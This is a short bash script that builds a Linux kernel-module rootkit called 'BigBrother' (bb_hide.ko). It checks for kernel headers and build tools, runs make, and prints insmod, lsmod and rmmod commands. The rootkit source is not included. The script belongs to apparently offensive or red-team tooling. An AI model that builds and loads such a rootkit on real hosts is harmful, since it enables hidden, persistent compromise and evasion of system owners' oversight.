#!/usr/bin/env bash
# Build the BigBrother LKM rootkit module (Debian host only)
# Requires kernel headers: apt install linux-headers-$(uname -r)
set -euo pipefail

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'

LKM_DIR="$(cd "$(dirname "$0")/../templates/lkm" && pwd)"

if [[ ! -d "$LKM_DIR" ]]; then
    echo -e "${RED}[-]${NC} LKM source directory not found: $LKM_DIR"
    exit 1
fi

if [[ ! -f "$LKM_DIR/Makefile" ]]; then
    echo -e "${RED}[-]${NC} No Makefile found in $LKM_DIR"
    exit 1
fi

# Check for kernel headers
KVER=$(uname -r)
if [[ ! -d "/lib/modules/${KVER}/build" ]]; then
    echo -e "${RED}[-]${NC} Kernel headers not found for ${KVER}"
    echo -e "${YELLOW}[!]${NC} Install with: apt install linux-headers-${KVER}"
    exit 1
fi

# Check for build tools
for tool in make gcc; do
    if ! command -v "$tool" &>/dev/null; then
        echo -e "${RED}[-]${NC} Required tool not found: $tool"
        exit 1
    fi
done

echo -e "${GREEN}[+]${NC} Building LKM rootkit for kernel ${KVER}..."
cd "$LKM_DIR"
make clean 2>/dev/null || true
make

if [[ -f "$LKM_DIR/bb_hide.ko" ]]; then
    echo -e "${GREEN}[+]${NC} LKM built: $LKM_DIR/bb_hide.ko"
    echo -e "${GREEN}[+]${NC} Size: $(stat -c '%s' "$LKM_DIR/bb_hide.ko") bytes"
    echo ""
    echo -e "${YELLOW}[!]${NC} Load with: insmod $LKM_DIR/bb_hide.ko"
    echo -e "${YELLOW}[!]${NC} Verify:    lsmod | grep bb_hide"
    echo -e "${YELLOW}[!]${NC} Unload:    rmmod bb_hide"
else
    echo -e "${RED}[-]${NC} Build failed -- bb_hide.ko not found"
    exit 1
fi
